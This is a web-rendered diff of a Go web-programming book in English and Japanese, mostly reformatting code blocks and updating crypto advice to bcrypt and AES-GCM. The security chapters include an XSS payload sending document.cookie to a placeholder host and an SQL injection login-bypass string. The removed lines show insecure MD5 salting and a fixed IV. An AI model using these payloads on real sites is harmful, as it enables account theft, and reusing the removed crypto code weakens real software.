fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
```Go
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
switch value := element.(type) {
case int:
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
}
}
```
One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern .
@@ -329,63 +333,63 @@ One thing you should remember is that `element.(type)` cannot be used outside of
The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the methods that the embedded interface has.
We can see that the source file in `container/heap` has the following definition:
type Interface interface {
sort.Interface // embedded sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop method that pops elements from the heap
}
```Go
type Interface interface {
sort.Interface // embedded sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop method that pops elements from the heap
}
```
We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly.
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
```Go
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
```
Another example is the `io.ReadWriter` in package `io`.
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
```Go
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
```
### Reflection
Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go.
There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation).
```Go
t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements
v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value
```
After that, we can convert the reflected types to get the values that we need.
```Go
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
```
Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile.
```Go
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
```
Instead, we must use the following code to change the values from reflect types.
```Go
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
```
We have just discussed the basics of reflection, however you must practice more in order to understand more.
## Links

View File

@@ -7,32 +7,33 @@ It is said that Go is the C language of the 21st century. I think there are two
goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads.
goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ).
```Go
go hello(a, b, c)
```
Let's see an example.
```Go
package main
package main
import (
"fmt"
"runtime"
)
import (
"fmt"
"runtime"
)
func say(s string) {
for i := 0; i < 5; i++ {
runtime.Gosched()
fmt.Println(s)
}
func say(s string) {
for i := 0; i < 5; i++ {
runtime.Gosched()
fmt.Println(s)
}
}
func main() {
go say("world") // create a new goroutine
say("hello") // current goroutine
}
func main() {
go say("world") // create a new goroutine
say("hello") // current goroutine
}
```
Output
```
hello
world
hello
@@ -42,7 +43,7 @@ Output
hello
world
hello
```
We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data.
runtime.Gosched() means let the CPU execute other goroutines, and come back at some point.
@@ -54,93 +55,96 @@ Before Go 1.5,The scheduler only uses one thread to run all goroutines, which me
## channels
goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`.
```Go
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
```
channel uses the operator `<-` to send or receive data.
```Go`
ch <- v // send v to channel ch.
v := <-ch // receive data from ch, and assign to v
```
Let's see more examples.
```Go
package main
package main
import "fmt"
import "fmt"
func sum(a []int, c chan int) {
total := 0
for _, v := range a {
total += v
}
c <- total // send total to c
func sum(a []int, c chan int) {
total := 0
for _, v := range a {
total += v
}
c <- total // send total to c
}
func main() {
a := []int{7, 2, 8, -9, 4, 0}
func main() {
a := []int{7, 2, 8, -9, 4, 0}
c := make(chan int)
go sum(a[:len(a)/2], c)
go sum(a[len(a)/2:], c)
x, y := <-c, <-c // receive from c
c := make(chan int)
go sum(a[:len(a)/2], c)
go sum(a[len(a)/2:], c)
x, y := <-c, <-c // receive from c
fmt.Println(x, y, x + y)
}
fmt.Println(x, y, x+y)
}
```
Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received.
## Buffered channels
I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it.
```Go
ch := make(chan type, n)
n == 0 ! non-bufferblock
n > 0 ! buffernon-block until n elements in the channel
```
You can try the following code on your computer and change some values.
package main
```Go
package main
import "fmt"
import "fmt"
func main() {
c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine
c <- 1
c <- 2
fmt.Println(<-c)
fmt.Println(<-c)
}
func main() {
c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine
c <- 1
c <- 2
fmt.Println(<-c)
fmt.Println(<-c)
}
```
## Range and Close
We can use range to operate on buffer channels as in slice and map.
```Go
package main
package main
import (
"fmt"
)
import (
"fmt"
)
func fibonacci(n int, c chan int) {
x, y := 1, 1
for i := 0; i < n; i++ {
c <- x
x, y = y, x + y
}
close(c)
func fibonacci(n int, c chan int) {
x, y := 1, 1
for i := 0; i < n; i++ {
c <- x
x, y = y, x+y
}
close(c)
}
func main() {
c := make(chan int, 10)
go fibonacci(cap(c), c)
for i := range c {
fmt.Println(i)
}
func main() {
c := make(chan int, 10)
go fibonacci(cap(c), c)
for i := range c {
fmt.Println(i)
}
}
```
`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed.
Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status.
@@ -152,67 +156,69 @@ Another thing you need to remember is that channels are not like files. You don'
In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels.
`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly.
```Go
package main
package main
import "fmt"
import "fmt"
func fibonacci(c, quit chan int) {
x, y := 1, 1
for {
select {
case c <- x:
x, y = y, x + y
case <-quit:
fmt.Println("quit")
return
}
}
func fibonacci(c, quit chan int) {
x, y := 1, 1
for {
select {
case c <- x:
x, y = y, x+y
case <-quit:
fmt.Println("quit")
return
}
}
}
func main() {
c := make(chan int)
quit := make(chan int)
go func() {
for i := 0; i < 10; i++ {
fmt.Println(<-c)
}
quit <- 0
}()
fibonacci(c, quit)
}
func main() {
c := make(chan int)
quit := make(chan int)
go func() {
for i := 0; i < 10; i++ {
fmt.Println(<-c)
}
quit <- 0
}()
fibonacci(c, quit)
}
```
`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore).
select {
case i := <-c:
// use i
default:
// executes here when c is blocked
}
```Go
select {
case i := <-c:
// use i
default:
// executes here when c is blocked
}
```
## Timeout
Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select.
```Go
func main() {
c := make(chan int)
o := make(chan bool)
go func() {
for {
select {
case v := <-c:
println(v)
case <-time.After(5 * time.Second):
println("timeout")
o <- true
break
}
}
}()
<-o
}
func main() {
c := make(chan int)
o := make(chan bool)
go func() {
for {
select {
case v := <- c:
println(v)
case <- time.After(5 * time.Second):
println("timeout")
o <- true
break
}
}
}()
<- o
}
```
## Runtime goroutine
The package `runtime` has some functions for dealing with goroutines.

View File

@@ -1,13 +1,13 @@
# 2.8 Summary
In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do.
```Go
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
```
- `var` and `const` are used to define variables and constants.
- `package` and `import` are for package use.
- `func` is used to define functions and methods.

View File

@@ -32,7 +32,7 @@ If the user inputs a user name or password as:
Then our SQL becomes the following:
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.

View File

@@ -4,11 +4,11 @@ Over the years, many websites have suffered from breaches in user password data.
As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them?
## Common solutions
## Bad solution
Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.
Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data - hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.
You can easily use the three aforementioned encryption algorithms in Go as follows:
You can easily use the three aforementioned hashing algorithms in Go as follows:
//import "crypto/sha256"
h := sha256.New()
@@ -32,56 +32,55 @@ There are two key features of one-way hashing:
Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`.
We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world.
We can see that hashing user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world.
## Advanced solution
## Good solution
Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start.
An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle-hardened hash algorithms that are already out there.
But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process.
Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key.
//import "crypto/md5"
// Assume the username abc, password 123456
h := md5.New()
io.WriteString(h, "password need to be encrypted")
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
// Specify two salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
// salt1 + username + salt2 + MD5 splicing
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is.
## Professional solution
The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible.
The method mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible.
How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`.
Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try.
Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s - so much so that it may even be infeasible to try.
In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap).
In Go, it's recommended that you use the `bcrypt` package.
The package's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
The package's source code can be found at the following link: https://github.com/golang/crypto/blob/master/bcrypt/bcrypt.go
Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption:
Here is an example code snippet which can be used to hash, store and validate user passwords:
dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
package main
You can generate unique password values using the above method, which are by far the most difficult to crack.
import (
"fmt"
"log"
"golang.org/x/crypto/bcrypt"
)
func main() {
userPassword1 := "some user-provided password"
// Generate "hash" to store from user password
hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost)
if err != nil {
// TODO: Properly handle error
log.Fatal(err)
}
fmt.Println("Hash to store:", string(hash))
// Store this "hash" somewhere, e.g. in your database
// After a while, the user wants to log in and you need to check the password he entered
userPassword2 := "some user-provided password"
hashFromDatabase := hash
// Comparing the password with the hash
if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil {
// TODO: Properly handle error
log.Fatal(err)
}
fmt.Println("Password was correct!")
}
## Summary

View File

@@ -4,58 +4,80 @@ The previous section describes how to securely store passwords, but sometimes it
## Advanced encryption and decryption
The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are:
The Go language supports symmetric encryption algorithms in its `crypto` package. Do not use anything except AES in [GCM mode](https://en.wikipedia.org/wiki/Galois/Counter_Mode) if you don't know what you're doing!
- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard.
- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES.
Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages:
In the following example we demonstrate how to encrypt data using AES in GCM mode:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"errors"
"fmt"
"os"
"io"
"log"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
// Need to encrypt a string
plaintext := []byte("My name is Astaxie")
// If there is an incoming string of words to be encrypted, set plaintext to that incoming string
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
text := []byte("My name is Astaxie")
key := []byte("the-key-has-to-be-32-bytes-long!")
// aes encryption string
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// Create the aes encryption algorithm
c, err := aes.NewCipher([]byte(key_text))
ciphertext, err := encrypt(text, key)
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
// TODO: Properly handle error
log.Fatal(err)
}
fmt.Printf("%s => %x\n", text, ciphertext)
plaintext, err := decrypt(ciphertext, key)
if err != nil {
// TODO: Properly handle error
log.Fatal(err)
}
fmt.Printf("%x => %s\n", ciphertext, plaintext)
}
func encrypt(plaintext []byte, key []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Encrypted string
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
// Decrypt strings
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
nonce := make([]byte, gcm.NonceSize())
if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
func decrypt(ciphertext []byte, key []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions:
@@ -77,7 +99,7 @@ These three functions implement encryption and decryption operations; see the Go
## Summary
This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES.
This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES in GCM mode.
## Links

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 24 KiB

View File

@@ -84,7 +84,7 @@ Go言語では`ResolveTCPAddr`を使ってひとつの`TCPAddr`を取得しま
### TCP client
Go言語ではnetパッケージの`DialTCP`関数によってTCP接続を一つ確立し、`TCPConn`型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っている`TCPConn`オブジェクトを使ってデータのやりとりを行います。一般的に、クライアントは`TCPCon`オブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり:
Go言語ではnetパッケージの`DialTCP`関数によってTCP接続を一つ確立し、`TCPConn`型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っている`TCPConn`オブジェクトを使ってデータのやりとりを行います。一般的に、クライアントは`TCPConn`オブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)

View File

@@ -21,7 +21,7 @@ Webアプリケーションはユーザが送信したリクエストのデー
hello astaxie
もし我々が`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか上と同じように、`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`というurlでは、現在のcookieが指定されたページ、www.xxx.comに送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。
もし我々が`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか上と同じように、`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`というurlでは、現在のcookieが指定されたページ、`www.xxx.com`に送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。
XSSに関するより詳しい分析は"[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"と呼ばれる記事を参考にしてください。

View File

@@ -28,7 +28,7 @@ SQLインジェクションが発生する原因はプログラムがユーザ
我々のSQLは以下のようになります
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
SQLでは`--`はコメントを表します。そのため、検索クエリは途中で中断されます。攻撃者は合法的なユーザ名とパスワードを知らなくてもログインに成功します。

View File

@@ -85,5 +85,5 @@ Go言語のこの三種類の暗号化アルゴリズムの実装は以下の通
## links
* [目次](<preface.md>)
* 前へ: [入力のフィルタリングを確実に行う](<09.4.md>)
* 前へ: [SQLインジェクションの回避](<09.4.md>)
* 次へ: [データを暗号化/復号する](<09.6.md>)

View File

@@ -24,7 +24,7 @@ Go言語の`crypto`では対称鍵暗号アルゴリズムをサポートして
func main() {
// 暗号化したい文字列
plaintext := []byte("My name is Astaxie")
// 暗号化された文字列を渡すと、plaintは渡された文字列になります。
// 暗号化された文字列を渡すと、plaintextは渡された文字列になります。
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}

View File

@@ -5,13 +5,13 @@ Localeとは世界中のある特定の地域を表現したテキスト形式
GO言語はデフォルトで"UTF-8"符号化方式を採用しています。ですので、i18nを実装する際つ目の部分は考慮しません。以降ではlocaleが表現する前のつの部分でもってi18n標準のlocale名とします。
>LinuxとSolarisシステムでは`locale -a`コマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は/usr/share/localeに保存されています。
>LinuxとSolarisシステムでは`locale -a`コマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は`/usr/share/locale`に保存されています。
## Localeを設定
上のlocaleに対する定義で、ユーザの情報(アクセス情報、個人情報、アクセスしたドメイン名等)に従ってこれに対応するlocaleを設定する必要があります。以下のいくつかの方法を使ってユーザのlocaleを設定することができます。
### ドメイン名によってLocaleを設定
Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、www.asta.comを我々の英語のサイト(デフォルトサイト)として、www.asta.cnというドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定るうことができます。このような処理にはいくつかのメリットがあります
Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、`www.asta.com`を我々の英語のサイト(デフォルトサイト)として、`www.asta.cn`というドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定るうことができます。このような処理にはいくつかのメリットがあります
- URLを見るだけで簡単に識別できる
- ユーザはドメイン名を通して直感的にどの言語のサイトに訪問するか知ることができる。
@@ -43,11 +43,11 @@ Localeの設定にはアプリケーションが実行される際のドメイ
ドメイン名によるLocaleの設定は上で示したようなメリットがあります。しかし一般的にWebアプリケーションを開発する場合このような方法は採用されません。なぜならまずドメインはコストが比較的高く、Localeを一つ開発するのに一つドメイン名を必要とするからです。また、往々にして統一されたドメイン名を申請できるかどうか分かりません。次に各サイトに対してローカライズというひとつの設定を行いたくなく、urlの後にパラメータを追加する方法が採用されがちです。下のご紹介をご覧ください。
### ドメインのパラメータからLocaleを設定
現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えばwww.asta.com/hello?locale=zhまたはwww.asta.com/zh/helloといった具合に。このようにすることで地域を設定することができます`i18n.SetLocale(params["locale"])`
現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えば`www.asta.com/hello?locale=zh`または`www.asta.com/zh/hello`といった具合に。このようにすることで地域を設定することができます:`i18n.SetLocale(params["locale"])`
このような設定方法は前に述べたドメインによるLocaleの設定のすべてのメリットをほとんど持ちあわせています。これはRESTfulな方法を採用しており、余計な方法を追加することで処理する必要がありません。しかしこのような方法では各linkにおいて対応するパラメータlocaleを追加する必要があり、すこし複雑でかなりめんどくさい場合もあります。しかし共通の関数urlを書くことですべてのlinkアドレスをこの関数を通して生成することができます。この関数では`locale=params["locale"]`パラメータを追加することでめんどくささを和らげます。
URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えばwww.asta.com/en/books(英語のサイト)とwww.asta.com/zh/books(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください)
URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えば`www.asta.com/en/books`(英語のサイト)と`www.asta.com/zh/books`(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください)
mux.Get("/:locale/books", listbook)

View File

@@ -35,7 +35,7 @@
}
上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定をenにするだけです。
上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定を`en`にするだけです。
場合によってはkey-valueを切り替えるだけでは要求を満足できない場合があります。たとえば"I am 30 years old"といったような、日本語では"今年で30になります"となる場合、ここでの30は変数です。どうすればよいでしょうかこの時、`fmt.Printf`関数を組み合わせることで実装することができます。下のコードをご覧ください:
@@ -52,7 +52,7 @@
1. タイムゾーンの問題
2. フォーマットの問題
$GOROOT/lib/timeパッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まず`time.LoadLocation(name string)`を使用して対応するタイムゾーンのlocaleを取得します。例えば`Asia/Shanghai`または`America/Chicago`に対応するタイムゾーンデータです。その後、この情報を再利用し、`time.Now`をコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています):
